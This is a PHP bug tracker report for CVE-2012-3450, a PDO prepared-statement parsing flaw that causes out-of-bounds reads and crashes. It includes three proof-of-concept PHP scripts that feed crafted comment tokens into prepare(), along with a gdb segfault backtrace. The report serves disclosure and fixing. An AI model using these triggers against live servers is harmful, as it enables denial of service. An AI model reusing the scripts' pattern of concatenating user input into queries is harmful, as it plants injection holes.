A parsing bug in the prepared statements can lead to access violations
| Bug #61755 | A parsing bug in the prepared statements can lead to access violations | ||||
|---|---|---|---|---|---|
| Submitted: | 2012-04-17 13:39 UTC | Modified: | 2016-05-27 19:46 UTC | ||
| From: | noamr at beyondsecurity dot com | Assigned: | johannes (profile) | ||
| Status: | Closed | Package: | PDO related | ||
| PHP Version: | 5.4.0 | OS: | Windows and Linux | ||
| Private report: | No | CVE-ID: | 2012-3450 | ||
[2012-04-17 13:39 UTC] noamr at beyondsecurity dot com
Description:
------------
Inconsistent parsing of PHP PDO prepared statements. Erroneous design of parsers
state machine. Under special circumstances parsing of prepared statements does
not stop leading in cycling the whole stack without terminating on \0. This
leads to access violations, accessing of stack data, DoS.
Bug Description
There are several design errors in the state-machine responsible for parsing PHP
PDO based statement objects. These errors are based on the state-machines
inability to consistently check the supplied SQL-Query. Under special
circumstances an attacker is able to force the responsible PDO code to iterate
beyond the termination of the supplied query string resulting in a buffer out of
bounds access. This access may lead to uncontrollable as well as attacker
controllable behavior and Access Violations caused by the code iterating the
whole stack and trying to access addresses beyond the stack end.
Preconditions
* PDO is used to access the DB
* For remote attacks: User must be able to directly control any part of the
query string prior its preparation (stm->prepare()). We are well aware that this
is a general coding fault which leads to other security relevant implications
but sadly enough it’s also quite common in many frameworks, projects to use
prepared statements with user controlled data instead of binding them after
preparation.
* Mysql_real_escape() is no mitigation for this vulnerability. (As stated above,
there are indeed many projects using user controlled data encoded by
mysql_real_escape() like this: $argName=mysql_real_escape($_GET[‘Name’]); $db-
>prepare(“SELECT * from ‘user’ where ‘username’=’$argName’; ”).execute();
Test script:
---------------
(We have several samples, these are some of them)
This poc directly prepares the statements query passed to the script via GET Request argument “query”.
Examples: poc_pdo_short_get.php?query=/* poc_pdo_short_get.php?query=--:
<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
//tokens:
// SELECT;*;from;'user';/*
//$sql = "SELECT * from 'user'/*";
$stmt = $db->prepare("SELECT * from 'user'".mysql_real_escape_string($_GET['query']));
$stmt->execute();
//crash
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);
}
catch (Exception $e)
{
echo "Failed: " . $e->getMessage();
}
?>
<?php
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
//tokens:
// SELECT;*;from;'user';/*
$sql = ":/*";
$stmt = $db->prepare($sql);
$stmt->execute(); // crashes php worker in pdo_parse_params()
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
print_r( $type);
} catch (Exception $e) {
echo "Failed: " . $e->getMessage();
}
?>
<pre>
<?php
echo "hmm beginning\n";
try {
$db = new PDO('mysql:host=localhost;dbname=aws', "root", "");
echo "lets get it on\n";
//tokens:
// SELECT;*;from;'user';/*
$sql = "SELECT * from user :/**";
echo $sql;
$stmt = $db->prepare($sql);
echo "prepared :)\n";
print_r($stmt);
$stmt->execute(); // crashes php worker in pdo_parse_params()
print_r($stmt);
echo "executed :(\n";
$stmt->bindColumn(2, $type, PDO::PARAM_STR, 256);
$stmt->fetch(PDO::FETCH_BOUND);
echo "--data-\n";
print_r( $type);
echo "--data--\n";
} catch (Exception $e) {
echo "EXCEPTION";
echo "Failed: " . $e->getMessage();
}
echo "hmmm end\n";
?>
</pre>
Actual result:
--------------
root@bt:/opt/lampp# gdb ./bin/php
(gdb) run poc_pdo_linux_short_1.php
Starting program: /opt/lampp/bin/php /opt/lampp/poc_pdo_linux_short_1.php
[Thread debugging using libthread_db enabled]
Program received signal SIGSEGV, Segmentation fault.
0x08228a81 in ?? ()
(gdb) bt
#0 0x08228a81 in ?? ()
#1 0x082280eb in pdo_parse_params ()
#2 0x08223891 in ?? ()
#3 0x084b2aad in ?? ()
#4 0x084b1f87 in execute ()
#5 0x08490ed2 in zend_execute_scripts ()
#6 0x0843f13c in php_execute_script ()
#7 0x08506b46 in main ()
Patches
bug61755.diff (last revision 2012-04-19 09:22 UTC by johannes@php.net)Pull Requests
History
AllCommentsChangesGit/SVN commits
[2012-04-19 10:50 UTC] johannes@php.net
-Status: Open +Status: Closed -Type: Security +Type: Bug -Assigned To: +Assigned To: johannes
[2012-06-17 07:18 UTC] henri at nerv dot fi